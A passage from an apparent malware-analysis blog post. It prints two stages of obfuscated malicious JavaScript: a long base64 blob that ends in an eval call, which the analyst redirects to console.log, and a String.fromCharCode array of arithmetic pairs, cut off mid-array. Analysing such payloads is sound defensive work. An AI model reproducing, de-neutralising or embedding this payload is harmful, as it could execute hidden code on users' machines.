4LTEsMTEyLTgsMTAxLTQsNzYtNCwxMTQtMiw3Ni0zLDg5LTgsODEtOSw5My03LDEwNS0yLDkxLTEsNTc
tNiw2Ny0xLDgyLTEsOTgtOSw1OS05LDYxLTQsNTctNyw4Ny00LDcwLTQsMTIwLTgsODAtMSw5MS0xLDU
xLTEsNTctNCwxMTYtMiwxMDYtNSwxMDktMyw5MC01LDEyNi05LDgwLTYsNzUtNiwxMDktNiw4OC0yLDc
5LTYsODYtMyw3Mi0zLDExOC00LDgyLTMsODUtMiwxMTEtOCwxMTctOCw4NC00LDkwLTksOTAtOSw4Ny0
5LDcxLTYsMTMwLTksNTEtMyw1OC05LDgzLTgsMTI5LTgsMTA4LTUsMTIzLTYsNzItNyw3NC03LDcwLTU
sNTktNiw2OC0zLDEyNS02LDYwLTgsMTA5LTUsOTctNyw2MC05LDgwLTIsMTIxLTcsODItMiw5MS04LDk
yLTMsNjAtNSw3NS01LDgyLTEsMTA3LTgsNzQtMSw4NC04LDEyNi01LDU2LTQsMTE5LTUsOTctOCw1NC0
zLDEwOS02LDEyNC00LDc2LTEsMTE0LTgsNzEtNiw4Ni04LDcyLTIsODctMyw5Ni03LDExMi03LDg3LTc
sNjctMSwxMTMtNiw1Mi01LDgxLTcsMTI0LTMsOTgtOSwxMTEtNCw3MS0zLDg2LTUsODgtNywxMjgtOSw
3Mi02LDY5LTIsNzEtMiwxMTMtNiw4MC0zLDkyLTksMTIwLTksMTE4LTUsMTAyLTIsNzgtOSw3Ny03LDE
wMi0zLDg2LTIsMTE3LTgsMTA1LTUsMTIyLTUsOTgtMSw1NC0zLDExOC03LDExNy00LDc4LTMsOTMtNSw
5Ny03LDcxLTYsNzctNyw4Ny00LDc4LTksMTA5LTUsODMtOCwxMjYtNCwxMTYtOSwxMTctNiw4MC02LDE
xNC04LDUxLTMsNzQtNSw3Mi00LDg3LTYsODYtOSwxMjUtOSw4My01LDg4LTUsMTIyLTcsMTE1LTQsODM
tNywxMDUtMiw2Ny0yLDExMS04LDg2LTcsODQtMyw4My02LDg2LTcsNzgtNSw5MC0zLDEwMS0xLDEyMC0
yLDEwOS05LDExNy03LDExNy02LDEyMi02LDgxLTIsMTEwLTQsMTIwLTksNzItMyw4Ni00LDU3LTcsODI
tOCwxMDYtMiw5OS0xLDExMi02LDExMy02LDUzLTYsODAtNiw4OS02LDExMi0xLDExMS00LDc4LTcsMTA
1LTIsNzUtMiw1OC04LDc2LTYsODctNCwxMjAtNSwxMjMtNSw4MS00LDEzMS05LDcxLTIsMTIwLTcsODU
tNyw4OS03LDEyMS0yLDExNC03LDgyLTcsMTI5LTgsMTA0LTEsMTEzLTUsNzctNCwxMDgtMiw2NC03LDE
wOS0zLDEwNy05LDExMC0xLDEyNC04LDc3LTQsOTAtOCw5MC0zLDkxLTEsMTE4LTEsMTA2LTgsMTE1LTk
sNjctMSw4Ny02LDkwLTEsNTMtMyw2Ni05LDU4LTgsOTEtOCw3Ny04LDEwNC00LDExMC0zLDg0LTYsODU
tMiwxMjEtNiw1Ni05LDc3LTEsMTI3LTUsNzYtNywxMDgtNCwxMDItMiwxMDktNSwxMjUtNiw5Mi02LDg
yLTUsOTItOSw4My05LDU1LTYsODYtNSw4OS0xLDExMy0xLDExMS01LDk5LTEsNjAtOSw5Ni03LDk1LTk
sODQtMiwxMjktOCw3MC0xLDExOC00LDg1LTUsODktNiw1NS0yLDU1LTEsODEtNiwxMTMtOCwxMTEtMyw
1MS0xLDgzLTIsNjYtMSw4MS00LDExOS01LDc4LTQsNjktMSwxMTctMiwxMTctOCw4Mi0yLDEzMC05LDU
zLTUsNjEtNiwxMDMtMiw2OS00LDEyMy04LDgxLTgsODItNywxMjItMSwxMjMtNCwxMTMtMyw3Ny0xLDE
xNC00LDg0LTMsMTE3LTQsNzYtMyw4OC00LDc5LTYsODMtNSw3NC0yLDEyNS02LDEyMS02LDExMy05LDk
zLTMsMTE0LTUsMTI2LTcsMTE5LTMsNzktMyw3NS03LDU3LTksMTI1LTQsNzctNiw3MS01LDg2LTEsMTA
1LTEsODQtNiw3MC0yLDU3LTksOTAtNSw4MS0zLDEwNy0yLDEyMC0xLDExMi0xLDgxLTQsODktOCw1Ny0
5LDcwLTIsOTMtNCw1My0zLDYwLTcsMTI2LTksMTA1LTgsMTEyLTMsMTA1LTUsNDktNiwxMDAtMiw1My0
yLDEyMi02LDkzLTMsMTA0LTYsODktNCw1NS02LDExNy03LDEwMi00LDExMi0zLDEyMS01LDU2LTIsOTI
tMyw1NC00LDYzLTYsNTEtMSw3OC04LDc1LTksMTIzLTcsMTE1LTgsNzgtNSwxMjYtNSw3Ni03LDExNS0
0LDgyLTYsMTI0LTMsNTktNywxMjItOSw4NS02LDY5LTMsMTI5LTksNzYtMiw4MC02LDEyNy02LDExMi0
5LDEwOC00LDc3LTQsNzYtOCw4MS00LDExMC0xLDk3LTgsODYtMiw1Ny0xLDc4LTcsNzQtOSwxMjgtNyw
3OC05LDUxLTQsNjgtMyw4NS0yLDU4LTksMTI5LTgsOTYtNiw3NC02LDExMi05LDExMS0yLDg0LTIsOTA
tOCw4NS00LDEwOS01LDg0LTcsMTI0LTIsMTIwLTksMTEyLTcsODEtMyw2OS0yLDkwLTksNjMtNywxMDA
tMSw4Ny0yLDc0LTQsNzUtMyw5Ni02LDkxLTMsMTIwLTgsMTI5LTcsMTA0LTcsNTctNiwxMDUtNSwxMjg
tNyw4NS0zLDk2LTgsOTUtNSw3Ni0zLDg5LTcsNTctNyw4NS0zLDExNi02LDEwMS0zLDExNi03LDEyMS0
1LDYzLTksOTctOCw1Ni02LDY2LTksNTQtNCw5Mi05LDc0LTUsMTA5LTksMTE2LTksOTQtNCwxMjQtMiw
3OC01LDU1LTQsMTA2LTUsMTA2LTEsMTAxLTIsMTA1LTIsODYtOCw4OC02LDU0LTYsODMtOCw3Ny00LDk
yLTksMTEyLTUsNjItOCw5OS05LDg3LTMsMTEzLTYsMTE2LTEsNzYtMyw3My01LDUzLTUsNzQtOCw3My0
4LDExNC01LDExNS00LDEyNS04LDc1LTIsNjktMiw2Mi02LDUwLTMsODUtNiwxMjQtNSw2OS00LDEyMC0
xLDg3LTYsNzEtMiw2Ni0xLDEyNC0yLDg0LTksNjktMSwxMjgtOSwxMjYtOCw3OS00LDExMy03LDczLTQ
sMTIwLTcsNzctMyw5MS05LDExNy0yLDYxLTksNzgtMSw3Ni05LDgxLTgsNjYtOSw4My0zLDU2LTUsNTA
tMSwxMTctNCwxMDYtOCw1NS00LDEwNy03LDk1LTksOTUtOCwxMTItMyw4My0xLDEyMi05LDExMC04LDU
0LTQsODEtNyw1OC00LDkxLTIsMTIzLTEsODUtMywxMDUtNiw4NC0xLDcwLTEsMTA1LTUsMTE1LTgsOTM
tMyw1OS05LDU0LTEsMTE5LTUsNzYtMSw3Ni05LDkxLTIsNjMtOCw3OC01LDEyOC04LDExNy02LDc3LTM
sOTUtNSw3My01LDc4LTEsNTktMyw4NC00LDExMS01LDYyLTUsNTUtMyw4Ni00LDg5LTEsOTEtMSw3Ny0
0LDg4LTYsNTctNyw4NC0zLDU3LTMsMTAyLTQsMTEyLTcsNTctNSw1NC00LDc5LTIsNjgtMSwxMTUtMyw
1NC00LDc2LTcsNTItMiw1Ni03LDExMS00LDk2LTYsNTMtMyw1NS0yLDExNi0yLDEwNC0zLDExOC05LDg
1LTgsNTctMSw3OC0xLDEyNi02LDEyOC05LDExMS00LDg0LTksMTIyLTEsMTEwLTcsMTEwLTIsNzktNiw
xMTItNiw2Ni05LDExNi0yLDEwNy05LDg4LTUsODQtMyw4NS03LDY5LTQsODYtMyw3NC01LDU2LTcsODI
tMiw3My02LDU5LTcsMTE2LTUsNzAtMSw5MS04LDExOS04LDEyNi01LDc0LTksODctNSw4Ny0yLDExMy0
5LDc1LTEsNzctOSwxMTUtNCw3Ni0zLDgxLTMsODgtNSwxMjUtNiwxMTItNSw4My0zLDEyNy04LDU4LTk
sNzYtNiwxMDQtNyw3Ny02LDEwNy03LDEyMy04LDgyLTYsMTI5LTcsOTItNiwxMTEtNSw3Ny00LDkyLTg
sMTEzLTYsMTA0LTUsODktNywxMzAtOCw5MC0xLDEwNi0xLDc5LTQsMTA4LTMsODEtOCwxMTktOCw3Ni0
yLDExNC05LDEyNS02LDEwNy0yLDkwLTcsMTA5LTIsMTIwLTQsMTExLTQsMTA3LTgsODEtOSw1NS02LDY
0LTksMTAzLTQsNTMtMiwxMDYtMiw3MS0xLDEwOS05LDExNi05LDExMS03LDgxLTksOTgtOCw3NS00LDE
wOS05LDEyMy02LDg0LTUsOTItOCw2NC04LDUyLTEsODgtOSwxMTEtNiw4My0yLDcyLTEsODgtNiwxMjI
tMSw3Ny00LDExNi03LDc4LTUsMTA4LTIsMTExLTgsNDktMiwxMDUtNCw3NC01LDkxLTUsNTMtMyw4OC0
1LDc3LTgsMTA1LTUsMTEwLTMsODEtMiwxMTEtNCw4NS0zLDExNS0xLDEwMy0yLDExMi02LDU3LTQsNzU
tNSw5NC02LDcxLTUsOTQtOCwxMjMtNyw5My05LDExNi05LDU0LTUsNzEtMiw4NC00LDg3LTMsMTI0LTk
sMTI3LTcsMTAzLTUsMTI2LTUsODctNiw4NC02LDc1LTksMTE0LTksNzAtNSw0Ni0zLDc1LTMsOTItOCw
1OC0yLDYwLTUsODUtNywxMjktOCwxMTMtMiw5Mi02LDcyLTcsNjctMiw3OS02LDExMi0yLDc3LTEsNjc
tMiwxMDgtOSwxMTEtMyw4MC00LDEwOC0zLDk1LTYsNjEtNCw3NC0xLDcxLTYsMTA4LTEsODUtOSw5Mi0
yLDc4LTYsMTIxLTksMTIyLTUsODEtMiw3NS03LDU4LTIsNTktOCw3MS01LDExMi02LDExMC03LDEwMy0
0LDY4LTMsMTEyLTYsOTAtMSwxMjQtNCw4MS01LDEyOC03LDEwMy0zLDEyOS04LDgzLTksODgtNCwxMTQ
tMyw1Ni00LDc2LTksMTIyLTIsNzktMiwxMjUtOSw4NC05LDc1LTgsNzItNiwxMDktMywxMDMtNCw1OC0
4LDgwLTMsNTUtNyw5Ny05LDc4LTksMTA3LTMsODEtOSw3Ny0xLDg2LTMsNzEtMSwxMjMtNiw5Ni03LDE
yNC0yLDU2LTQsMTE2LTEsODMtNyw3NS04LDg1LTgsNzItMiw2OC0zLDExMS02LDExNC0zLDEyNS0zLDk
wLTEsNzQtNiwxMDgtMSw1MC0zLDgxLTgsMTA5LTQsMTE2LTEsMTIwLTIsODgtOSwxMjctNyw4MS00LDE
xNS03LDg1LTgsMTI3LTYsMTIxLTUsMTIzLTksOTUtNSw1Mi0xLDU4LTUsMTI0LTMsMTAxLTEsMTEwLTM
sNjAtNCw3Mi0zLDgyLTcsMTI4LTcsMTE5LTgsNDYtMyw3NS0xLDEyNC0yLDYwLTQsNTItMSw4NC05LDE
xNC00LDcxLTEsMTA5LTQsODctNSw1NS01LDgzLTEsMTEzLTMsMTA2LTgsMTE0LTUsMTIzLTcsNTctMyw
4NC00LDEzMS05LDgyLTQsNTgtOCw3NS03LDY3LTIsMTA1LTIsMTE2LTYsNzktMiwxMDctMiw4NS04LDE
yMy02LDc5LTEsNjktMSwxMDEtMSwxMDgtNCw4MS03LDc0LTksNTAtMiw4MC05LDgyLTksNzQtNiw1NC0
yLDEwMS0xLDg4LTgsMTI5LTcsMTIzLTgsNTctNiw4My04LDExOS05LDk3LTcsODktMyw5NS04LDExMC0
xLDgzLTEsMTA1LTIsNzYtMiwxMzAtOSw4OC0zLDEyNS04LDgzLTksMTEwLTQsNTctOSw1Ni01LDc1LTg
sMTI4LTgsODEtNCwxMTctMSw4Mi01LDg1LTIsMTIyLTYsMTE5LTQsMTAzLTQsNTctNyw4NS04LDU3LTk
sOTctOSw3My00LDExMy05LDc5LTcsOTctNyw3NC0zLDEwNy04LDExOC0yLDc4LTQsMTMxLTksNjEtNSw
xMTItNyw4MS0xLDg1LTMsNjEtNSw3Mi0xLDcwLTEsMTI5LTgsNzUtNiw1NS02LDg3LTgsNzItNSwxMTY
tNSw1MS0xLDEwMy02LDEyNi00LDU1LTcsMTI3LTUsNzQtNyw4Ny02LDg1LTgsNjQtNyw3OS05LDcyLTQ
sMTEzLTIsMTE1LTIsODQtOCwxMTAtNSw5Ni03LDgwLTMsODQtNCwxMTEtOCw1My01LDczLTQsNzctMSw
xMjUtNiw2MC04LDEwOC01LDg4LTgsMTI2LTQsNTktMywxMjUtNSw4MS0yLDg3LTMsMTAyLTMsNzQtNSw
5Mi04LDExOC04LDU5LTIsODUtNywxMDctOSwxMTQtNSwxMTgtMiw1OC00LDkyLTMsMTI5LTcsMTIwLTE
sMTE0LTksNzEtNCw4Ni00LDg2LTEsMTIzLTQsMTA1LTcsNTgtOCwxMDctNywxMjMtNCw5MC01LDcyLTE
sNzktMSwxMTktMSw4Mi03LDU1LTUsNzYtMywxMDAtMywxMDAtMyw4MC05LDEwNi02LDQ5LTIsMTA2LTU
sNjAtOSw4MS0zLDU0LTIsODUtMyw5Ni04LDExMy01LDgxLTksOTAtMyw1OC04LDExOC0zLDU2LTgsNzg
tMiw4Ni0yLDExNC03LDEyOC02LDc4LTEsMTI4LTYsMTI0LTgsMTIwLTksOTMtNCwxMTEtMiw1Mi00LDY
zLTIsNDUtNiw2Ni03LDE4LTgsMTEwLTgsMTI1LTgsMTEyLTIsMTAxLTIsMTE3LTEsMTA3LTIsMTEzLTI
sMTE2LTYsMzctNSwxMjktOSwxMjAtOSwxMjItOCw5OS00LDEwNC0zLDExNy03LDEwMi0zLDQzLTMsMTI
xLTYsMTE3LTEsMTE5LTUsMTE0LTksMTE2LTYsMTEyLTksNDUtMSwzOS03LDExNC03LDEwNS00LDEyMy0
yLDQ2LTUsMzgtNiwxMjYtMywxNi02LDQxLTksMzMtMSwxMjAtMiwxMDUtOCwxMTctMywzOC02LDExNy0
zLDEwNS00LDEyMC01LDM1LTMsNjctNiwzNy01LDQwLTEsNDAtMSw2Ni03LDE1LTUsMzctNSwzOC02LDE
wOS03LDExOC03LDExOC00LDMzLTEsNDEtMSwxMTktMSwxMDQtNywxMjMtOSwzOS03LDExMS02LDM1LTM
sNjUtNCwzOS03LDUwLTIsNjEtMiwzNC0yLDExMy04LDM0LTIsNjgtOCwzNy01LDEyMC01LDEyMi02LDE
xOC00LDEwNi0xLDExNy03LDEwNC0xLDUyLTYsMTA5LTEsMTEwLTksMTE3LTcsMTA0LTEsMTI0LTgsMTE
yLTgsNjctOCwzNC0yLDExMi03LDUyLTksNTAtNyw0OS04LDM2LTQsMTI5LTYsMTItMiwzOS03LDM0LTI
sMzQtMiwzOS03LDEyMC02LDExMC05LDExNi0xLDM1LTMsNDktNiw2Mi0xLDM4LTYsOTItOSwxMjQtOCw
xMjEtNywxMTItNywxMTYtNiwxMDktNiw1Mi02LDEwNS0zLDExNi0yLDEyMC05LDExMC0xLDY5LTIsMTE
zLTksMTAwLTMsMTE2LTIsNjktMiwxMTYtNSwxMDktOSwxMDQtMyw0OC04LDEyMi03LDExNy0xLDExNi0
yLDExNC05LDExOC04LDEwNi0zLDU0LTgsMTA1LTYsMTEwLTYsMTA2LTksMTIzLTksNjgtMSwxMTctNiw
xMDUtNSwxMTAtOSw2Ny0yLDExOS0zLDQ1LTUsMTEzLTgsNDMtMiwzNC0yLDEwMC02LDExLTEsNDEtOSw
zNy01LDM5LTcsMzctNSwzMy0xLDQxLTksNDAtOCwzNS0zLDM0LTIsMzMtMSwzOS03LDM3LTUsMzgtNiw
zNC0yLDM3LTUsNDAtOCwzNi00LDQxLTksNDAtOCwzOS03LDQwLTgsMzktNywzNS0zLDM4LTYsMzYtNCw
zNS0zLDM0LTIsMzMtMSwzNS0zLDM2LTQsMzgtNiwzMy0xLDExNC03LDEwOS04LDEyOS04LDUwLTQsMTA
2LTcsMTEwLTYsOTgtMSwxMTktNSw3NC03LDExOS04LDEwNS01LDEwMy0yLDcwLTUsMTI0LTgsNDQtNCw
xMTAtNSwzMy0xLDQyLTUsMzYtNCwxMTYtOSwxMDUtNCwxMjctNiw1Mi02LDExMi00LDEwMy0yLDExOC0
4LDEwNy00LDEyMi02LDEwOC00LDQ5LTgsNDctNiw2NS02LDE0LTQsNDAtOCw0MS05LDEzMi03LDEyLTI
sMzUtMywzOC02LDExNi0yLDEwMi0xLDExOS0zLDEyMi01LDExOS01LDExMS0xLDM3LTUsMTE5LTUsMTA
2LTUsMTE2LTEsNjgtOSwxMi0yLDEzMi03LDE3LTcsMTktOSwxMjQtNiwxMDMtNiwxMjMtOSw0MS05LDE
wMi0yLDEwMy0yLDEwMy00LDM5LTcsNzAtOSwzNS0zLDEyNi02LDExNy02LDEyMy05LDEwMS02LDEwMy0
yLDExNi02LDEwOC05LDQxLTEsMTAyLTUsMTI0LTgsMTEyLTEsMTAxLTMsNDMtMywxMDktOCwxMTItMiw
xMDEtMiwxMDUtNCwxMDgtOCw0OC03LDUyLTgsMzgtNiwxMTQtNywxMDYtNSwxMjYtNSw0Ni01LDY1LTY
sMTItMiw0My0zLDExNC00LDExMC05LDEyNi03LDQwLTgsNzQtNCwxMjItNSwxMTktOSwxMDYtNywxMTk
tMywxMTItNywxMTQtMywxMTUtNSw0Mi0yLDEwNy03LDEwMi0xLDEwMi0zLDQ1LTQsNDgtNyw0OC04LDQ
zLTIsNjgtOSwxNy03LDE0LTQpO2V2YWwoU0ZCVU5HVk1CTSk7');
console.log(AHLIBBEXWO);

You have to be joking...another encoded code this time within JavaScript. As you can see, the code has been altered so it sends the output to our console.log() than to execute it via eval().

I called the output above, first level malware.

So, what about the produced output?

This one looks a bit like Morse signals, but with integers for characters:

let SFBUNGVMBM = String.fromCharCode(18-8,119-1,101-4,116-2,36-4,115-8,104-3,123
-2,40-8,70-9,38-6,44-5,80-1,88-2,107-3,112-9,75-7,78-7,84-6,76-1,92-2,69-2,41-2,
66-7,16-6,126-8,103-6,117-3,36-4,105-4,117-7,104-5,106-5,102-2,41-9,62-1,36-4,40
-1,98-9,77-5,115-7,92-7,74-4,72-5,103-4,54-5,76-2,126-4,124-9,120-3,110-8,88-3,8
9-4,109-6,73-6,84-2,95-9,111-4,81-4,70-4,75-6,119-9,87-9,90-7,70-5,121-4,74-1,11
1-8,74-5,79-6,78-3,114-5,101-1,123-1,90-9,90-2,121-9,110-4,101-3,57-6,92-2,74-1,
88-6,52-2,81-3,120-9,107-8,93-9,122-7,58-3,75-1,73-6,113-2,110-3,70-2,74-6,112-8
,107-1,93-3,59-9,94-8,120-6,72-2,127-6,74-1,64-9,81-1,108-1,94-5,92-6,82-8,90-7,
111-4,114-1,78-4,75-7,105-5,119-5,92-2,111-1,112-9,104-5,70-3,67-1,104-5,131-9,8
3-3,74-7,76-3,52-4,75-1,73-2,102-2,112-4,93-5,109-2,61-8,120-7,84-6,76-8,116-1,1
19-7,79-4,92-8,103-4,60-3,86-6,121-2,97-8,69-4,100-2,77-5,67-1,113-3,106-7,72-2,
67-1,82-8,80-5,85-2,81-4,77-6,67-1,72-4,67-2,122-5,76-3,85-2,90-4,60-6,83-6,76-8
,122-7,55-4,79-8,110-6,80-2,120-5,102-4,110-1,54-2,127-8,94-9,77-8,116-8,127-9,1
05-5,105-1,60-8,78-7,82-4,118-9,106-7,116-5,81-2,85-1,87-2,122-5,100-2,55-5,121-
5,76-3,73-8,128-7,122-7,114-7,82-3,123-2,90-1,51-4,77-1,86-2,119-3,53-1,80-9,108
-5,78-5,107-2,76-3,114-8,123-4,62-9,86-6,129-7,74-4,54-6,97-9,71-2,110-6,73-1,80
-3,110-5,97-8,63-7,106-9,130-8,85-7,57-5,83-1,90-4,126-6,80-7,87-5,129-8,50-2,10
6-2,103-5,114-5,78-1,56-3,82-7,127-6,118-7,55-6,68-3,124-3,87-6,116-2,82-7,69-2,
90-5,109-4,86-6,53-3,125-9,110-1,107-5,50-2,107-4,107-8,87-3,113-4,102-2,118-1,1
01-4,59-8,114-3,129-9,82-7,112-7,76-3,106-6,72-2,85-2,120-8,58-2,84-2,78-7,118-2
,57-3,89-9,109-2,87-1,55-5,86-3,73-7,76-7,116-8,85-7,95-8,58-6,52-9,87-8,122-1,8
9-8,118-5,80-1,67-1,121-1,77-5,109-8,95-8,100-1,111-8,80-5,113-8,128-9,119-6,81-
6,77-9,108-9,106-7,73-6,76-8,97-7,113-1,80-1,130-8,111-8,50-3,81-4,83-2,55-3,121
-1,74-6,87-6,112-5,123-4,108-6,76-7,85-3,117-3,107-6,113-8,118-7,114-2,108-8,116
-9,71-5,78-7,86-9,90-7,93-4,115-3,85-9,113-7,86-5,56-5,99-1,127-6,114-3,86-1,83-
1,128-6,78-9,116-7,77-2,84-1,55-3,54-6,82-4,56-6,75-6,58-4,77-9,86-5,114-7,115-9
,78-1,126-5,94-4,115-1,91-1,57-6,56-3,122-4,94-4,112-5,75-5,77-5,88-8,57-9,57-8,
122-5,106-9,56-5,116-4,109-3,84-4,91-7,81-4,108-9,72-3,107-1,94-5,118-6,102-2,87
-2,77-7,61-7,91-2,126-4,82-8,107-8,92-9,77-8,101-2,127-7,78-4,108-3,112-5,123-6,
82-4,69-1,106-6,126-8,102-5,56-8,108-5,87-4,75-1,90-7,66-1,115-1,81-7,86-3,54-1,
124-8,84-5,125-3,116-9,112-5,68-1,76-8,81-4,109-4,82-2,74-9,110-7,57-2,81-4,75-8
,120-8,50-7,88-7,94-8,127-7,84-5,92-2,59-9,60-8,107-2,81-1,79-8,86-8,116-6,75-2,
121-2,114-7,74-9,79-6,85-2,115-8,58-4,97-7,92-8,81-4,122-6,83-8,124-2,78-1,83-2,
76-1,70-3,80-6,123-5,105-8,85-2,121-2,54-5,85-9,74-7,104-1,57-3,72-4,89-4,69-3,1
19-3,93-3,56-6,65-8,56-6,104-3,110-1,60-7,48-5,101-1,113-9,82-1,106-8,96-6,75-7,
79-6,122-4,82-6,74-6,58-2,120-4,87-8,55-4,112-9,75-9,74-7,85-2,66-1,109-4,85-7,1
05-2,87-6,65-9,105-8,56-6,109-6,50-2,71-5,124-4,80-2,107-1,100-2,112-3,60-7,122-
9,91-1,51-1,80-2,110-5,95-5,51-1,82-8,78-6,93-3,74-3,103-3,125-8,105-8,58-7,115-
4,55-8,82-5,52-1,94-5,103-3,68-2,114-9,85-8,108-3,75-2,70-2,59-2,54-6,79-4,107-2
,78-9,122-1,70-2,91-9,60-4,83-7,74-1,92-5,92-2,117-2,88-9,87-3,76-7,119-2,81-8,8
5-4,85-3,73-8,100-2,90-3,109-9,124-6,109-9,118-8,117-5,122-5,105-3,118-8,60-3,80
-7,73-1,70-1,60-7,81-3,106-8,113-4,122-7,115-5,95-6,124-3,116-5,63-9,78-7,122-3,
82-8,108-1,89-9,76-7,87-5,118-4,107-6,111-2,81-3,126-8,87-7,120-1,55-2,75-3,107-
9,77-9,73-8,111-1,75-1,90-6,54-2,117-2,86-7,73-1,111-8,73-8,76-8,111-5,100-1,124
-2,80-7,92-8,109-2,115-9,96-7,57-7,112-4,122-3,86-3,71-5,67-2,119-3,77-2,89-6,11
2-1,109-2,83-7,91-4,56-8,111-1,85-5,128-8,119-4,91-7,78-3,127-5,86-1,56-5,93-3,9
1-7,91-2,114-5,75-2,89-5,77-8,107-8,72-4,55-5,88-6,55-2,99-1,115-5,117-9,128-6,9
1-2,123-1,83-1,100-1,86-3,71-2,101-1,110-3,95-5,51-1,59-6,119-5,77-1,90-7,118-7,
111-7,80-3,106-3,100-1,88-7,101-4,113-8,117-2,108-4,76-1,74-6,117-2,52-1,75-1,11
3-7,108-1,77-6,88-6,53-2,109-1,112-2,85-6,88-6,82-1,59-9,82-6,74-7,128-9,58-7,80
-8,67-2,53-1,119-5,83-8,90-2,89-3,67-1,109-8,116-7,84-6,123-5,103-3,106-2,90-4,1
23-7,94-4,72-1,107-8,128-6,82-1,89-3,68-2,111-5,102-4,125-3,71-6,106-6,71-4,88-5
,101-2,126-4,83-9,122-1,90-9,56-8,94-5,128-7,109-6,130-8,80-8,69-2,86-5,120-6,82
-7,68-1,89-4,107-2,89-9,52-2,121-6,124-9,72-5,82-1,95-6,78-7,81-6,91-8,78-4,112-
2,104-7,129-8,72-2,80-6,105-7,58-7,98-8,74-1,88-6,124-2,82-9,110-1,83-3,74-3,121
-6,54-1,76-4,74-6,110-3,54-3,75-9,75-9,79-6,110-6,98-8,58-7,81-3,118-4,84-4,107-
2,123-4,118-3,79-6,123-4,91-6,76-9,77-2,108-2,80-2,112-9,78-3,74-6,88-3,119-4,75
-1,73-5,62-6,79-1,90-2,70-1,58-5,115-5,104-6,114-5,123-7,59-5,85-7,92-9,55-3,110
-3,92-9,71-6,87-6,104-6,82-4,72-4,117-6,121-8,76-1,75-7,103-3,126-8,104-7,55-7,1
05-2,71-2,75-4,124-2,70-1,122-4,75-1,125-4,63-7,115-6,91-2,88-4,57-1,72-1,72-7,1
23-2,72-3,53-6,69-4,91-8,50-1,125-4,91-2,92-5,60-3,56-8,92-9,72-3,129-9,112-5,76
-2,75-9,70-1,111-3,80-1,127-6,57-5,117-4,104-4,115-8,82-4,78-6,99-9,112-2,118-6,
124-9,98-9,114-5,72-2,75-1,101-3,56-5,92-2,75-2,91-9,130-9,56-8,109-5,99-1,115-6
,83-6,55-2,76-4,76-8,122-3,110-5,76-9,87-5,87-2,122-3,94-4,53-2,85-7,56-6,108-7,
118-9,57-4,46-3,109-7,50-2,109-6,105-6,85-1,112-3,101-1,118-1,99-2,56-5,117-5,10
9-3,100-2,126-4,94-9,52-1,71-1,69-1,74-9,118-9,81-1,70-2,60-3,59-5,108-6,111-2,6
1-5,55-6,80-2,124-4,75-6,112-4,83-8,125-3,118-3,118-1,108-8,68-1,117-6,107-3,84-
7,106-3,49-1,106-4,75-8,126-5,79-9,116-7,78-3,67-2,87-2,124-8,84-8,111-5,123-8,8
3-5,85-3,57-7,58-1,113-3,102-4,76-4,98-8,54-2,99-2,119-9,89-7,104-5,88-5,74-5,10
4-4,115-8,97-7,123-1,87-9,73-7,103-2,118-9,87-9,124-6,106-6,109-6,74-5,71-5,94-4
,74-3,63-7,123-7,71-1,69-2,109-2,60-9,79-3,108-3,85-4,105-6,91-9,60-9,112-4,56-2
,106-8,118-9,96-6,122-8,101-4,115-6,58-2,124-8,94-5,114-7,106-6,109-2,96-6,59-9,
59-6,120-6,110-9,106-1,74-9,89-8,81-8,74-9,114-7,77-1,78-1,91-8,75-1,126-9,103-3
,119-9,113-2,118-2,83-4,110-4,117-6,75-6,93-5,74-5,59-6,119-9,105-7,116-7,117-1,
61-7,87-7,116-9,93-7,54-4,85-2,72-3,108-8,110-3,78-5,113-8,78-5,61-9,82-2,51-1,8
3-6,57-9,91-3,72-3,108-4,79-7,94-4,75-4,107-7,120-3,99-2,128-6,110-3,105-6,88-8,
70-3,82-9,83-9,77-7,85-1,75-9,118-8,102-3,59-9,120-5,61-8,76-4,73-5,114-7,55-4,7
1-5,71-5,79-6,107-3,105-8,87-4,102-3,117-9,83-3,111-6,94-5,52-1,75-4,84-3,56-3,8
1-1,99-9,112-2,116-4,119-4,96-6,60-9,117-6,111-8,74-5,74-7,88-3,101-2,70-4,110-4
,92-3,129-7,97-7,59-9,122-6,126-6,91-2,59-8,54-1,122-6,98-9,114-7,105-5,114-7,92
-2,54-4,57-4,120-6,104-3,107-1,90-5,121-4,76-2,74-5,110-7,71-2,74-3,126-5,78-5,1
07-4,81-5,56-5,120-8,46-3,101-3,129-7,91-6,56-5,72-3,87-4,94-9,115-1,81-2,127-6,
54-1,54-6,80-5,114-9,70-1,130-9,76-8,83-1,57-1,83-7,80-7,94-7,98-8,116-4,97-8,88
-1,71-1,114-8,101-1,107-4,121-6,58-6,82-4,124-2,78-1,120-2,88-9,91-8,59-6,122-9,
102-2,78-8,126-6,81-8,85-3,56-6,87-5,117-7,104-6,113-4,120-5,123-1,81-7,89-2,66-
9,47-4,68-1,123-1,107-4,110-6,76-1,92-9,115-3,118-4,91-1,56-5,62-9,126-8,103-2,5
6-7,110-2,85-6,93-3,71-3,128-8,71-2,104-7,60-9,120-8,108-2,105-7,55-4,93-3,75-2,
87-5,55-5,83-2,110-3,73-4,87-4,53-1,49-1,75-1,58-8,60-3,123-9,92-9,67-2,89-8,101
-3,82-5,92-9,60-4,115-5,82-6,123-2,98-8,111-7,83-4,108-5,54-6,82-8,81-8,124-2,85
-8,112-3,104-5,71-1,67-1,107-1,105-7,59-8,98-8,74-1,85-3,53-3,90-9,63-9,87-5,80-
9,117-1,61-7,93-4,51-1,59-2,57-7,84-1,72-7,90-9,105-7,83-6,86-3,63-7,117-7,80-4,
125-4,96-6,120-2,98-1,51-3,110-7,91-8,84-9,112-7,75-2,66-9,81-6,75-7,123-8,129-7
,76-1,111-1,56-4,78-2,88-9,76-8,80-7,114-5,77-4,112-6,61-9,55-8,102-4,87-3,123-4
,114-8,69-2,107-3,90-9,128-9,83-5,89-6,101-2,114-6,88-8,95-8,117-2,122-7,68-1,85
-3,123-8,91-7,83-9,85-1,93-8,59-5,97-7,57-6,116-5,111-8,70-1,76-8,78-1,75-4,73-8
,58-8,53-4,122-5,107-7,90-5,71-1,58-4,91-2,54-4,63-6,56-6,71-1,93-6,53-4,112-5,9
5-5,54-4,62-9,118-4,77-2,72-5,97-8,61-6,74-1,129-9,120-9,83-9,92-2,69-2,82-1,84-
2,88-8,89-5,120-5,121-3,81-2,115-9,80-2,92-8,101-3,90-3,85-3,116-6,82-5,52-4,76-
6,85-4,95-6,51-1,65-9,127-8,73-1,86-5,113-6,112-2,80-3,129-8,104-5,109-2,80-2,74
-3,81-4,59-3,86-9,121-1,127-8,114-7,84-9,123-2,108-5,112-4,78-5,114-8,59-2,118-4
